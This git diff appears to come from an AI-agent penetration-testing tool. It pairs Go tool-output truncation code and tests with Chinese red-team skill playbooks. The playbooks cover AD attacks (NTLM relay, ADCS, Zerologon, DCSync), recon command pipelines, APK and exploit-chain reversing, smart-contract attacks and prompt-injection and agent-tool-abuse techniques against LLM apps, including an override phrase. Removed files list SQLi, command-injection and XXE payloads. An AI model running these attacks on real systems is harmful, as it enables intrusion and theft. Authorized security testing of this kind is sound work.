tail := clampSuffix(previewSrc, previewBudget-half)
notice := fmt.Sprintf(
"<persisted-output>\nOutput too large (%d). Full output saved to: %s\nUse %s with offset/limit to read parts of the file.\nPreview (first %d):\n%s\n\nPreview (last %d):\n%s\n\n</persisted-output>",
originalSize, filePath, readFileHint, len(head), head, len(tail), tail,
)
if len(notice) <= maxBytes {
return notice
}
if previewBudget == 0 {
return minimal
}
previewBudget = previewBudget * 3 / 4
}
return minimal
}
func boundPrefixOnly(full string, maxBytes, originalSize int, filePath string) string {
marker := fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes]...", originalSize, maxBytes)
if filePath != "" {
marker = fmt.Sprintf("\n\n...[tool output truncated: original %d bytes, kept %d bytes; full output: %s]...", originalSize, maxBytes, filePath)
}
budget := maxBytes - len(marker)
if budget < 0 {
return clampPrefix(marker, maxBytes)
}
return clampPrefix(full, budget) + marker
}
func clampPrefix(s string, n int) string {
if n <= 0 {
return ""
}
if len(s) <= n {
return s
}
for n > 0 && !utf8.RuneStart(s[n]) {
n--
}
return s[:n]
}
func clampSuffix(s string, n int) string {
if n <= 0 {
return ""
}
if len(s) <= n {
return s
}
start := len(s) - n
for start < len(s) && !utf8.RuneStart(s[start]) {
start++
}
return s[start:]
}
func sanitizeSegment(s string) string {
s = strings.TrimSpace(s)
if s == "" {
return "default"
}
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
s = strings.ReplaceAll(s, "/", "-")
s = strings.ReplaceAll(s, "\\", "-")
s = strings.ReplaceAll(s, "..", "__")
if len(s) > 180 {
s = s[:180]
}
return s
}
// Tee writes every byte to a trunc file while callers keep only a bounded
// in-memory prefix. Safe for concurrent stdout/stderr writers.
type Tee struct {
mu sync.Mutex
opts SpillOpts
file *os.File
path string
err error
open bool
}
// NewTee prepares a lazy spill file (created on first Write).
func NewTee(opts SpillOpts) *Tee {
return &Tee{opts: opts}
}
// Write appends to the spill file, creating it on first use.
func (t *Tee) Write(p []byte) (int, error) {
if t == nil {
return len(p), nil
}
t.mu.Lock()
defer t.mu.Unlock()
if err := t.ensureOpenLocked(); err != nil {
return len(p), nil // best-effort: never fail the tool pipe
}
if t.file == nil {
return len(p), nil
}
_, _ = t.file.Write(p)
return len(p), nil
}
func (t *Tee) ensureOpenLocked() error {
if t.open || t.err != nil {
return t.err
}
t.open = true
session := SessionRoot(t.opts.RootDir, t.opts.ProjectID, t.opts.ConversationID)
id := strings.TrimSpace(t.opts.ExecutionID)
if id == "" {
id = uuid.NewString()
}
id = sanitizeSegment(id)
dir := filepath.Join(session, "trunc")
if err := os.MkdirAll(dir, 0o755); err != nil {
t.err = err
return err
}
path := filepath.Join(dir, id)
if abs, err := filepath.Abs(path); err == nil {
path = abs
}
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
if err != nil {
t.err = err
return err
}
t.file = f
t.path = path
return nil
}
// Path returns the absolute spill path after any Write (may be empty if unused/failed).
func (t *Tee) Path() string {
if t == nil {
return ""
}
t.mu.Lock()
defer t.mu.Unlock()
return t.path
}
// Close flushes and closes the spill file.
func (t *Tee) Close() error {
if t == nil {
return nil
}
t.mu.Lock()
defer t.mu.Unlock()
if t.file == nil {
return nil
}
err := t.file.Close()
t.file = nil
return err
}
+58
View File
@@ -0,0 +1,58 @@
package tooloutput
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestBoundWithSpillWritesFullFile(t *testing.T) {
root := t.TempDir()
full := strings.Repeat("A", 2000) + "TAIL"
out := BoundWithSpill(full, 512, SpillOpts{
RootDir: root,
ConversationID: "conv-1",
ExecutionID: "exec-1",
})
if len(out) > 512 {
t.Fatalf("bounded output exceeds max: %d", len(out))
}
if !strings.Contains(out, "<persisted-output>") {
t.Fatalf("expected persisted-output notice: %q", out)
}
path := filepath.Join(root, "conversations", "conv-1", "trunc", "exec-1")
abs, err := filepath.Abs(path)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(out, abs) {
t.Fatalf("expected absolute path %q in notice: %q", abs, out)
}
got, err := os.ReadFile(abs)
if err != nil {
t.Fatal(err)
}
if string(got) != full {
t.Fatalf("spilled content mismatch: got %d want %d", len(got), len(full))
}
}
func TestTeeThenFormatPersistedFromFile(t *testing.T) {
root := t.TempDir()
tee := NewTee(SpillOpts{RootDir: root, ConversationID: "c", ExecutionID: "e"})
full := strings.Repeat("xy", 100)
if _, err := tee.Write([]byte(full)); err != nil {
t.Fatal(err)
}
if err := tee.Close(); err != nil {
t.Fatal(err)
}
notice := FormatPersistedFromFile(tee.Path(), len(full), 512)
if len(notice) > 512 {
t.Fatalf("notice too long: %d", len(notice))
}
if !strings.Contains(notice, tee.Path()) {
t.Fatalf("missing path in notice: %q", notice)
}
}
+7 -3
View File
@@ -348,7 +348,7 @@ need_rebuild() {
}
# Main flow
# Default: HTTPS (--https passed to binary); --http uses plain HTTP.
# Default: HTTPS (--https passed to binary); --http forces plain HTTP even if config.yaml enables TLS.
main() {
USE_HTTPS=1
FORWARD_ARGS=()
@@ -357,6 +357,10 @@ main() {
USE_HTTPS=0
continue
fi
if [ "$arg" = "--https" ]; then
USE_HTTPS=1
continue
fi
FORWARD_ARGS+=("$arg")
done
@@ -406,9 +410,9 @@ main() {
fi
else
if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then
exec "./$BINARY_NAME" -config "$CONFIG_FILE" "${FORWARD_ARGS[@]}"
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --http "${FORWARD_ARGS[@]}"
else
exec "./$BINARY_NAME" -config "$CONFIG_FILE"
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --http
fi
fi
}
+22
View File
@@ -0,0 +1,22 @@
---
name: active-directory-attack
description: >-
内网域攻击:BloodHound,Kerberoast,ADCS ESC1/ESC8,NTLM Relay,Coerce,DACL,DCSync,Zerologon/NoPac/PrintNightmare,mitm6,LLMNR,Linux内网。Use when attacking Active Directory, ADCS, NTLM relay, or internal domain.
tags: [渗透测试, penetration-testing, 红队]
---
## 内网域攻击
```
=== 内网域(2023+真实主战场) ===
侦察: BloodHound(SharpHound收集→攻击路径) | Kerberos: GetNPUsers(AS-REP)/GetUserSPNs(Kerberoast)
🚨ADCS(Certipy一把梭): certipy find -vulnerable | ESC1指定SAN申域管证书 | ESC8 relay到CA拿DC证书
🚨NTLM Relay(比PtH重要,PtH常被EDR拦): ntlmrelayx -t ldap--escalate-user / -t http CA --adcs(ESC8) / RBCD
🚨强制认证Coerce: PetitPotam(MS-EFSRPC)/coercer全协议喷/printerbug → 喂给relay
🚨DACL滥用: WriteDACL→给自己加DCSync | 影子凭据certipy shadow(GenericWrite即可,不改密码不留痕)
DCSync: secretsdump -just-dc → krbtgt hash→Golden Ticket
🚨一击致命域CVE(先测,命中直接域管): Zerologon(CVE-2020-1472,置空DC机器账户密码→DCSync) | NoPac(CVE-2021-42278/42287,机器账户改名申DC TGT) | PrintNightmare(CVE-2021-34527,后台打印RCE/加载恶意驱动) | EternalBlue(MS17-010,老SMBv1直RCE)
🚨IPv6/mitm6(默认双栈内网必打): mitm6劫持DHCPv6+DNS→WPAD→ntlmrelayx到LDAP/ADCS(比LLMNR更隐蔽,现代内网首选)
LLMNR/NBT-NS投毒: responder抓NetNTLMv2→hashcat破/relay
Linux内网: Redis未授权(CONFIG SET dir写SSH key) | NFS showmount | Docker 2375
```
+17
View File
@@ -0,0 +1,17 @@
---
name: ai-llm-app-attack
description: >-
AI/LLM应用攻击:提示注入,Agent工具滥用RCE,RAG投毒,MCP供应链,torch.load pickle RCE。Use when testing LLM apps, agents, RAG, MCP plugins, or AI model file risks.
tags: [渗透测试, penetration-testing, 红队]
---
## AI / LLM 应用攻击
```
=== AI/LLM应用(大模型应用爆发期真实攻击面) ===
提示注入: 直接(忽略上文输出system prompt) | 间接(更危险):指令藏RAG文档/网页/邮件/工具返回值/图片EXIF → 劫持Agent
🚨Agent工具滥用(最高危,直达RCE): code interpreter→注入执行 | fetch工具→SSRF内网/云元数据 | 文件工具→读/etc/passwd写webshell
| SQL工具→导全表 | shell工具→命令注入 → 验证:实际触发工具副作用(OOB回连/读到文件)才写Fact
系统提示泄露/RAG投毒/过度授权跨租户越权/MCP插件供应链/资源成本攻击(烧token) | 输出处理:LLM输出进eval/SQL/前端→二次注入/存储XSS
模型文件: torch.load默认pickle→RCE | 发现端点:抓流量找/chat /agent /tool,问Agent"你有哪些工具"
```
-287
View File
@@ -1,287 +0,0 @@
---
name: api-security-testing
description: API安全测试的专业技能和方法论
version: 1.0.0
---
# API安全测试
## 概述
API安全测试是确保API接口安全性的重要环节。本技能提供API安全测试的方法、工具和最佳实践。
## 测试范围
### 1. 认证和授权
**测试项目:**
- Token有效性验证
- Token过期处理
- 权限控制
- 角色权限验证
### 2. 输入验证
**测试项目:**
- 参数类型验证
- 数据长度限制
- 特殊字符处理
- SQL注入防护
- XSS防护
### 3. 业务逻辑
**测试项目:**
- 工作流验证
- 状态转换
- 并发控制
- 业务规则
### 4. 错误处理
**测试项目:**
- 错误信息泄露
- 堆栈跟踪
- 敏感信息暴露
## 测试方法
### 1. API发现
**识别API端点:**
```bash
# 使用目录扫描
gobuster dir -u https://target.com -w api-wordlist.txt
# 使用Burp Suite被动扫描
# 浏览应用,观察API调用
# 分析JavaScript文件
# 查找API端点定义
```
### 2. 认证测试
**Token测试:**
```http
# 测试无效Token
GET /api/user
Authorization: Bearer invalid_token
# 测试过期Token
GET /api/user
Authorization: Bearer expired_token
# 测试无Token
GET /api/user
```
**JWT测试:**
```bash
# 使用jwt_tool
python jwt_tool.py <JWT_TOKEN>
# 测试算法混淆
python jwt_tool.py <JWT_TOKEN> -X a
# 测试密钥暴力破解
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
```
### 3. 授权测试
**水平权限:**
```http
# 用户A访问用户B的资源
GET /api/user/123
Authorization: Bearer user_a_token
# 应该返回403
```
**垂直权限:**
```http
# 普通用户访问管理员接口
GET /api/admin/users
Authorization: Bearer user_token
# 应该返回403
```
### 4. 输入验证测试
**SQL注入:**
```http
POST /api/search
{
"query": "test' OR '1'='1"
}
```
**命令注入:**
```http
POST /api/execute
{
"command": "ping; id"
}
```
**XXE**
```http
POST /api/parse
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
```
### 5. 速率限制测试
**测试速率限制:**
```python
import requests
for i in range(1000):
response = requests.get('https://target.com/api/endpoint')
print(f"Request {i}: {response.status_code}")
```
## 工具使用
### Postman
**创建测试集合:**
1. 导入API文档
2. 设置认证
3. 创建测试用例
4. 运行自动化测试
### Burp Suite
**API扫描:**
1. 配置API端点
2. 设置认证
3. 运行主动扫描
4. 分析结果
### OWASP ZAP
```bash
# API扫描
zap-cli quick-scan --self-contained \
--start-options '-config api.disablekey=true' \
http://target.com/api
```
### REST-Attacker
```bash
# 扫描OpenAPI规范
rest-attacker scan openapi.yaml
```
## 常见漏洞
### 1. 认证绕过
**Token验证缺陷:**
- 弱Token生成
- Token可预测
- Token不验证签名
### 2. 权限提升
**IDOR**
- 直接对象引用
- 未验证资源所有权
### 3. 信息泄露
**错误信息:**
- 详细错误信息
- 堆栈跟踪
- 敏感数据
### 4. 注入漏洞
**常见注入:**
- SQL注入
- NoSQL注入
- 命令注入
- XXE
### 5. 业务逻辑
**逻辑缺陷:**
- 价格操作
- 数量限制绕过
- 状态修改
## 测试清单
### 认证测试
- [ ] Token有效性验证
- [ ] Token过期处理
- [ ] 弱Token检测
- [ ] Token重放攻击
### 授权测试
- [ ] 水平权限测试
- [ ] 垂直权限测试
- [ ] 角色权限验证
- [ ] 资源访问控制
### 输入验证
- [ ] SQL注入测试
- [ ] XSS测试
- [ ] 命令注入测试
- [ ] XXE测试
- [ ] 参数污染
### 业务逻辑
- [ ] 工作流验证
- [ ] 状态转换
- [ ] 并发控制
- [ ] 业务规则
### 错误处理
- [ ] 错误信息泄露
- [ ] 堆栈跟踪
- [ ] 敏感信息暴露
## 防护措施
### 推荐方案
1. **认证**
- 使用强Token
- 实现Token刷新
- 验证Token签名
2. **授权**
- 基于角色的访问控制
- 资源所有权验证
- 最小权限原则
3. **输入验证**
- 参数类型验证
- 数据长度限制
- 白名单验证
4. **错误处理**
- 统一错误响应
- 不泄露详细信息
- 记录错误日志
5. **速率限制**
- 实现API限流
- 防止暴力破解
- 监控异常请求
## 注意事项
- 仅在授权测试环境中进行
- 避免对API造成影响
- 注意不同API版本的差异
- 测试时注意请求频率
+50
View File
@@ -0,0 +1,50 @@
---
name: attack-surface-recon
description: >-
侦察/攻击面测绘:被动whois/amass/crt.sh/FOFA/Shodan,主动subfinder/httpx/naabu/katana/nuclei,DNS地域/CDN/Nginx catch-all/宝塔/UniApp指纹。开局第一动作,认知写入项目黑板。Use when starting recon, asset mapping, fingerprinting, or CDN/DNS bypass discovery.
tags: [渗透测试, penetration-testing, 红队]
---
## 侦察 / 攻击面测绘
```
=== 侦察/攻击面测绘(开局第一动作,60%战时在这,别裸奔进利用;端口/指纹等立即 upsert_project_fact) ===
被动先行(不碰目标,全部执行):
terminal: whois {domain} | grep -iE 'org|name|email|registrant'
terminal: amass intel -asn {ASN} -d {domain}
browser_navigate: https://crt.sh/?q=%.{domain} (证书透明挖子域)
terminal: curl -s "https://crt.sh/?q=%.{domain}&output=json" | python3 -c "import sys,json;[print(x['name_value']) for x in json.load(sys.stdin)]" | sort -u
terminal: dig +short {domain} @114.114.114.114; dig +short {domain} @8.8.8.8 (对比差异=CDN)
terminal: curl -s "https://web.archive.org/cdx/search/cdx?url=*.{domain}/*&output=text&fl=original&collapse=urlkey" | head -100
browser_navigate: https://fofa.info/result?qbase64=$(echo -n 'domain="{domain}"' | base64)
browser_navigate: https://www.shodan.io/search?query=hostname:{domain}
主动流水线(逐步执行):
terminal: subfinder -d {domain} -silent | tee subs.txt; amass enum -d {domain} -passive >> subs.txt; sort -u subs.txt -o subs.txt
terminal: cat subs.txt | dnsx -silent | tee alive_subs.txt
terminal: cat alive_subs.txt | httpx -silent -title -status-code -tech-detect -cdn | tee httpx_out.txt
terminal: naabu -l alive_subs.txt -top-ports 1000 -silent | tee ports.txt; nmap -sCV -iL <(head -20 alive_subs.txt) -oN nmap_out.txt
terminal: katana -list alive_subs.txt -silent -d 3 | tee urls.txt; gau {domain} >> urls.txt
terminal: cat urls.txt | grep -iE '\.(js|json)$' | httpx -silent -mc 200 | while read u; do curl -s "$u" | grep -oiE '(api|secret|key|token|password|aws|endpoint)[^"]*'; done
terminal: ffuf -u https://{target}/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fs {catch-all-size}
terminal: nuclei -l alive_subs.txt -t /root/nuclei-templates/ -severity medium,high,critical -o nuclei_results.txt
→ httpx输出识别到框架/版本 → 立即触发 `component-vuln-intel` 搜索序列
🚨DNS地域限制绕过: 国内CDN(987dns/dnspod/阿里云)常对海外DNS返0.0.0.0,用114.114.114.114解析才拿到真实IP。多DNS对比: dig @1.1.1.1 vs @114.114.114.114 vs @8.8.8.8,差异即CDN地域策略。真实IP藏在国内DNS结果中。
🚨CDN响应过滤绕过(GCCDN/PWS等): CDN对特定URL模式(admin路径/actuator)返502而非转发后端响应:
指纹识别: Server: PWS/x.x.x.x | Via: 1.1 PS-XXX-XXXX:N (W) | X-Px: ms CS-XXX-XXXXnone(origin) | 通配*.gccdn.net CNAME
502≠不存在: 502=后端响应被CDN过滤, 404=路径真不存在, 403=CDN路由拒绝。用502/404/403差异枚举存活端点
路径穿越确认: /api/v1/v/..;/..;/actuator/env → 502(存在被过滤) vs /api/v1/v/..;/..;/xxxx → 404(Tomcat原生不存在)
CDN节点多端口: 扫CDN IP的3000-9200端口(8000/8080/9090常代理同一后端但规则可能不同,9200可能是独立nginx)
绕过尝试矩阵(本session全测均失败,记录防重复): URL编码/双编码/大小写/分号后缀/TE空格走私/HTTP管线化/Accept-Encoding/Range
有效信息提取: 即使502,POST actuator/env仍可能被后端执行(盲写属性)→需配合refresh触发(若refresh 404则链断)
🚨Nginx Catch-All陷阱: PHP CMS配rewrite全路由→所有路径返200同大小=catch-all(不是文件存在!)。识别: 用3个随机路径对比size一致=catch-all。真正存活路径用.php后缀测(nginx `location ~ \.php$`直通FastCGI,不存在返真404)。
🚨Pure-FTPd puredb损坏≠认证绕过: "Unable to read the indexed puredb file"=虚拟用户db坏了,所有用户名(包括匿名)都触发421断连。PAM系统用户认证也走puredb先→全部失败。不是攻击面,跳过。
🚨同IP多站横向: 反查IP(SecurityTrails/微步/VirusTotal)找同服务器其他域名→其中弱站(独立nginx配置返真404=可枚举)突破→宝塔面板统一管理=横向所有站。
指纹优先级: 一旦httpx/wappalyzer识别出框架版本 → 立即转 `component-vuln-intel` 联网情报。先测绘清攻击面,再Reason选最肥的边,不要看到一个洞就一头扎进去。
🚨DNS通配符CDN识别: 所有子域名(包括不存在的随机子域)都解析到CDN=通配符DNS(*.domain → CDN CNAME)。此时枚举子域名无意义,所有IP都是CDN节点。
验证: dig random123456.target.com → 如果也有A记录且指向已知CDN IP = 通配符。真实源IP需从其他渠道获取(历史DNS/证书透明/同服务器其他域名/邮件头/SSRF)
🚨宝塔面板(BT Panel)识别: Cookie名为32位hex hash(如789d6d2de16419a1e8bbfea926c8996e) + 302跳/login + nginx反代 + "入口校验失败"页面 = BT Panel随机安全入口
Windows版: IIS+nginx共存, 8888端口面板, 888端口phpMyAdmin(可能), /index.html可能泄露站点配置(反向代理目标URL/站点名)
攻击: 入口路径爆破(8位随机字母数字) | 历史CVE(API key未授权/phar反序列化) | 面板默认FTP/MySQL账户复用
🚨Nginx 404差分指纹: 当nginx catch-all重写掩盖真实路径时,比较响应大小——真实nginx 404(146B)=文件在磁盘存在但location块deny, catch-all(大页面)=路由未匹配。批量探测CMS标志路径(/caches/configs/, /phpcms/modules/, /statics/等)区分响应大小即可确认CMS类型。详见references/nginx-404-differential-fingerprinting.md
🚨UniApp/DCloud APK逆向快速路径: assets/apps/__UNI__*/www/app-service.js = 全部业务逻辑(JS混淆); assets/zlsioh.dat = 加密配置(API域名); lib/arm64-v8a/libirzlemnr.so = 解密库。JS用RC4+base64解混淆(提取a0G数组+a0m解码器); .so中strings搜16字符随机串=可能密钥, 搜`x数字.数字.数字.数字x`格式=硬编码IP(通常是DCloud HTTPDNS基础设施而非目标API)。详见references/uniapp-dcloud-apk-reversing.md
```
+47
View File
@@ -0,0 +1,47 @@
---
name: binary-mobile-reversing
description: >-
APK/EXE/二进制:UniApp/DCloud/Flutter逆向,证书固定绕过,导出组件,内存破坏exploit链,IoT固件。Use when reversing APK/EXE, UniApp/Flutter, native .so, or memory-corruption exploits.
tags: [渗透测试, penetration-testing, 红队]
---
## APK / EXE / 二进制逆向
```
=== APK/EXE/二进制 ===
APK: apktool d / jadx | Manifest看exported组件/deeplink/debuggable | rg硬编码密钥+API地址 | .so strings/Ghidra | frida/objection动态
🚨UniApp/DCloud APK逆向(H5混合应用,业务全在JS不在DEX):
识别: __UNI__XXXXXXX + assets/apps/ + uni-jsframework.js (NOT Flutter,无libapp.so) | manifest.json含"uni-app"字段
核心文件: assets/apps/__UNI__XXX/www/app-service.js (800KB+混淆JS=全部业务逻辑) | jadx只能看壳(native插件注册),真逻辑在JS
JS解混淆(RC4+字符串数组旋转): 提取a0G()大数组(10000+元素)+a0m(idx,key)解码函数(base64→RC4)+rotation IIFE→拼可执行JS→node批量解码→JSON字典(offset→明文)
🔴陷阱: rotation IIFE可能以逗号结尾(不是分号!属于更大表达式)→node报"Unexpected token"→按实际结束符提取
加密配置zlsioh.dat/dcloud3.dat: header(96B偏移表:off40=block1解压/44=压缩/60=block2偏移/64=block2大小/80=block3偏移)+block1(zlib→DEX)+block2(加密,含API域名列表←关键,需.so解密)+block3(zlib→AndroidX类映射)
zlib魔数78DA=未加密直接解压 | 无魔数=加密块(密钥在.so .rodata/汇编立即数)
.so字符串解混淆: 偶数位字符提取→反转(e.g."mAojcl.dubdFiHaebP.nwywfwb"→"www.baidu.com") | strings -n8 lib*.so找含点号长串
⚠️陷阱: .so中x分隔IP串(如"x111.230.69.120x118.126.105.164")=DCloud HTTPDNS节点(非API后端!140.205.11.x=阿里云DNS,111.230/118.126/106.52/42.193=腾讯云) | resources.arsc报错是故意反编译保护(不影响jadx) | assets伪PNG(1-8px)=完整性校验非数据 | fcapp.run仅APK下载代理
关键API变量: $apiHost/$opHost(运行时动态设置,不硬编码)/urlList/checkAvailableDomainList(HEAD domain/favicon.ico测连通,200-399=可用)
高价值端点: /app_init /user/gustRegister(游客无验证注册) /user/getOssSts(OSS临时凭据!) /uploadFile2
配置: manifest.json(appId/版本/nativePlugins→wrs-httpserver=内嵌HTTP服务!) | supplierconfig.json(vivo/xiaomi/huawei/oppo appid) | dcloud_uniplugins.json(插件清单)
ChengZi SDK(橙子建站): init3接口返回XOR单字节(key=0x96,见chengzi_decrypt.py)加密JSON→解密得APK真实下载链接(fu字段)+渠道码
域名兜底: 静态拿不到$apiHost时→Android模拟器(Waydroid/AVD)+tcpdump/mitmproxy抓运行时DNS
参见: references/uniapp-apk-reverse-engineering.md, references/uniapp-apk-reversing.md, scripts/js_rc4_deobfuscate.js, scripts/chengzi_decrypt.py
🚨Flutter APK快速逆向(无需脱壳): 加固(MogoSec/梆梆/360)保护DEX层,但Flutter的lib/arm64-v8a/libapp.so(Dart AOT)通常不加密
strings -n8 libapp.so|grep 'https\?://' → 全部硬编码URL/API域名/S3地址/CDN
strings -n8 libapp.so|grep -E '^/' → API路径矩阵(/Member/Login, /Web/VideoList, /BBS/GetSTSToken等)
strings -n8 libapp.so|grep -iE 'key|secret|token|aws|bucket' → 凭据/密钥泄露
assets/config_*.xml + assets/data_*.dat → 加密配置(可能含域名/API地址) | .DS_Store → macOS开发者信息泄露 | assets/xinstall* → 渠道追踪SDK
🚨Native .so字符串反混淆(通用模式): 混淆字符串在.rodata段
常见模式: 偶数位字符提取+反转(如"mAojcl.dubdFiHaebP..."→取偶数位→反转=明文域名) | XOR常量 | RC4+base64
识别: strings -n8 lib*.so找16字节等长串(AES密钥/IV)/含点号串(域名)/x分隔IP串(HTTPDNS) | nm --dynamic找混淆导出符号(16字符随机大小写)
验证: 已知字符串("classes.dex"/"io.dcloud.application")对照混淆版→逆推算法→批量解码
🚨移动通用(非UniApp/Flutter的常规APP):
证书固定绕过(抓HTTPS): objection android sslpinning disable | frida universal-unpinning | 改smali删pinning重打包
导出组件越权: Manifest exported=true的Activity/Service/Provider/Receiver → drozer/adb am start跨应用调 | ContentProvider SQLi/路径穿越
深链接(deeplink)劫持: scheme://未校验→WebView加载任意URL(XSS/文件读) | 参数进intent→组件劫持
不安全存储: /data/data/pkg/(shared_prefs明文token/db未加密/logcat泄露) | sdcard世界可读
WebView: addJavascriptInterface(<4.2 RCE)/file://读本地/setAllowFileAccess | 静态:MobSF一把梭 | iOS:砸壳(frida-ios-dump)+Ghidra看Mach-O+objection动态
EXE/PE: file/strings | Ghidra/IDA反编译找硬编码/加密/网络逻辑 | x64dbg动调 | 漏洞:溢出/格式化串/UAF/DLL劫持
🚨内存破坏exploit链(崩溃→RCE): checksec看防护 → 确定原语(栈溢出/UAF/格式化串=任意读写)
→ 信息泄露绕ASLR → ROP链(ROPgadget/pwntools ret2libc) → 堆利用(tcache poison/__free_hook劫持)
→ 任意写改GOT/hook/vtable/exit_funcs → 控制流劫持 | 固件IoT:binwalk -Me提取+qemu-user调试(防护弱常直接栈溢出)
```
@@ -0,0 +1,16 @@
---
name: blockchain-contract-attack
description: >-
区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.
tags: [渗透测试, penetration-testing, 红队]
---
## 区块链 / 智能合约
```
=== 区块链/智能合约 ===
源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore
手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)
预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突
DeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction
```
-402
View File
@@ -1,402 +0,0 @@
---
name: business-logic-testing
description: 业务逻辑漏洞测试的专业技能和方法论
version: 1.0.0
---
# 业务逻辑漏洞测试
## 概述
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
## 漏洞类型
### 1. 工作流绕过
**跳过验证步骤:**
- 直接访问最终步骤
- 修改步骤顺序
- 重复执行步骤
### 2. 价格操作
**负数价格:**
- 输入负数金额
- 导致账户余额增加
**价格篡改:**
- 修改前端价格
- 修改API请求中的价格
### 3. 数量限制绕过
**负数数量:**
- 输入负数
- 可能导致库存增加
**超出限制:**
- 修改数量限制
- 批量操作绕过
### 4. 时间竞争
**并发请求:**
- 同时发送多个请求
- 绕过单次限制
### 5. 状态操作
**状态回退:**
- 将已完成订单改为待支付
- 修改订单状态
## 测试方法
### 1. 工作流分析
**识别业务流程:**
- 注册流程
- 购买流程
- 提现流程
- 审核流程
**测试步骤跳过:**
```
正常流程: 步骤1 → 步骤2 → 步骤3
测试: 直接访问步骤3
测试: 步骤1 → 步骤3(跳过步骤2)
```
### 2. 参数篡改
**修改关键参数:**
```http
POST /api/purchase
{
"product_id": 123,
"quantity": 1,
"price": 100.00 # 修改为 0.01
}
```
**负数测试:**
```json
{
"quantity": -1,
"price": -100.00
}
```
### 3. 并发测试
**同时发送请求:**
```python
import threading
import requests
def purchase():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 同时发送10个请求
for i in range(10):
threading.Thread(target=purchase).start()
```
### 4. 状态修改
**修改订单状态:**
```http
PATCH /api/order/123
{
"status": "completed" # 修改为已完成
}
```
**回退状态:**
```http
PATCH /api/order/123
{
"status": "pending" # 从已完成回退到待支付
}
```
## 利用技术
### 价格操作
**负数价格:**
```json
{
"product_id": 123,
"price": -100.00,
"quantity": 1
}
```
**修改前端价格:**
```javascript
// 前端代码
const price = 100.00;
// 修改为
const price = 0.01;
```
**API价格修改:**
```http
POST /api/checkout
{
"items": [
{
"product_id": 123,
"price": 0.01, # 原价100.00
"quantity": 1
}
]
}
```
### 数量限制绕过
**负数数量:**
```json
{
"product_id": 123,
"quantity": -10 # 可能导致库存增加
}
```
**超出限制:**
```json
{
"product_id": 123,
"quantity": 999999 # 超出单次购买限制
}
```
### 优惠券滥用
**重复使用:**
```http
POST /api/checkout
{
"coupon": "DISCOUNT50",
"items": [...]
}
# 重复使用同一优惠券
```
**未激活优惠券:**
```http
POST /api/checkout
{
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
"items": [...]
}
```
### 提现漏洞
**负数提现:**
```json
{
"amount": -1000.00 # 可能导致账户余额增加
}
```
**超出余额:**
```json
{
"amount": 999999.00 # 超出账户余额
}
```
### 时间竞争
**并发购买:**
```python
import threading
import requests
def buy():
requests.post('https://target.com/api/purchase',
json={'product_id': 123, 'quantity': 1})
# 限时抢购,并发请求
for i in range(100):
threading.Thread(target=buy).start()
```
## 绕过技术
### 前端验证绕过
**直接调用API**
- 绕过前端JavaScript验证
- 直接发送API请求
**修改请求:**
- 使用Burp Suite拦截
- 修改参数后发送
### 状态码分析
**观察响应:**
- 200 OK - 可能成功
- 400 Bad Request - 参数错误
- 403 Forbidden - 权限不足
- 500 Internal Server Error - 服务器错误
### 错误信息利用
**从错误信息获取信息:**
```
错误: "余额不足,当前余额: 100.00"
→ 可以获取账户余额信息
```
## 工具使用
### Burp Suite
**使用Repeater**
1. 拦截业务请求
2. 修改关键参数
3. 观察响应
**使用Intruder**
1. 标记参数
2. 使用Payload列表
3. 批量测试
### 自定义脚本
```python
import requests
import json
def test_price_manipulation():
# 测试价格修改
for price in [0.01, -100, 0, 999999]:
data = {
"product_id": 123,
"price": price,
"quantity": 1
}
response = requests.post('https://target.com/api/purchase',
json=data)
print(f"Price {price}: {response.status_code}")
test_price_manipulation()
```
## 验证和报告
### 验证步骤
1. 确认可以绕过业务逻辑限制
2. 验证可以执行未授权操作
3. 评估影响(资金损失、数据篡改等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和业务流程
- 可执行的未授权操作
- 完整的利用步骤和PoC
- 修复建议(服务端验证、业务规则检查等)
## 防护措施
### 推荐方案
1. **服务端验证**
```python
def process_purchase(product_id, quantity, price):
# 从数据库获取真实价格
real_price = db.get_product_price(product_id)
# 验证价格
if price != real_price:
raise ValueError("Price mismatch")
# 验证数量
if quantity <= 0:
raise ValueError("Invalid quantity")
# 处理购买
process_order(product_id, quantity, real_price)
```
2. **状态机验证**
```python
class OrderState:
PENDING = "pending"
PAID = "paid"
SHIPPED = "shipped"
COMPLETED = "completed"
TRANSITIONS = {
PENDING: [PAID],
PAID: [SHIPPED],
SHIPPED: [COMPLETED]
}
def can_transition(self, from_state, to_state):
return to_state in self.TRANSITIONS.get(from_state, [])
```
3. **并发控制**
```python
import threading
lock = threading.Lock()
def process_order(order_id):
with lock:
# 检查订单状态
order = db.get_order(order_id)
if order.status != 'pending':
raise ValueError("Order already processed")
# 处理订单
process(order)
```
4. **业务规则验证**
```python
def validate_business_rules(order):
# 验证数量限制
if order.quantity > MAX_QUANTITY:
raise ValueError("Quantity exceeds limit")
# 验证价格范围
if order.price <= 0:
raise ValueError("Invalid price")
# 验证库存
if order.quantity > get_stock(order.product_id):
